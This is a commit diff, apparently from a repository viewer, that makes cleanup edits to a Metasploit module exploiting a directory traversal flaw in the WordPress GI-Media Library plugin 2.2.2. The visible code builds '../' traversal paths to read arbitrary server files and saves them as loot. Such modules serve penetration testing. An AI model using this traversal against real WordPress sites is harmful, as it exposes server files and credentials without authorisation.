Do code cleanup
parent
e51897d64e
commit
5ca6fe3cb0
|
@ -16,8 +16,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Name' => 'WordPress GI-Media Library Plugin File Read Vulnerability',
|
'Name' => 'WordPress GI-Media Library Plugin File Read Vulnerability',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a directory traversal vulnerability in WordPress Plugin
|
This module exploits a directory traversal vulnerability in WordPress Plugin
|
||||||
"GI-Media Library" version 2.2.2, allowing to read arbitrary files on
|
GI-Media Library version 2.2.2, allowing to read arbitrary files from the
|
||||||
Wordpress directory.
|
system with the web server privileges. This module has been tested successfully
|
||||||
|
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -44,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
traversal = "../" * datastore['DEPTH']
|
traversal = '../' * datastore['DEPTH']
|
||||||
filename = datastore['FILEPATH']
|
filename = datastore['FILEPATH']
|
||||||
filename = filename[1, filename.length] if filename =~ /^\//
|
filename = filename[1, filename.length] if filename =~ /^\//
|
||||||
|
|
||||||
|
@ -58,10 +59,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
if res && res.code == 200 && res.body && res.body.length > 0
|
if res && res.code == 200 && res.body && res.body.length > 0
|
||||||
|
|
||||||
print_status('Downloading file...')
|
|
||||||
print_line("\n#{res.body}")
|
|
||||||
|
|
||||||
fname = datastore['FILEPATH']
|
fname = datastore['FILEPATH']
|
||||||
|
|
||||||
path = store_loot(
|
path = store_loot(
|
||||||
|
@ -74,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
print_good("#{peer} - File saved in: #{path}")
|
print_good("#{peer} - File saved in: #{path}")
|
||||||
else
|
else
|
||||||
print_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.")
|
vprint_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue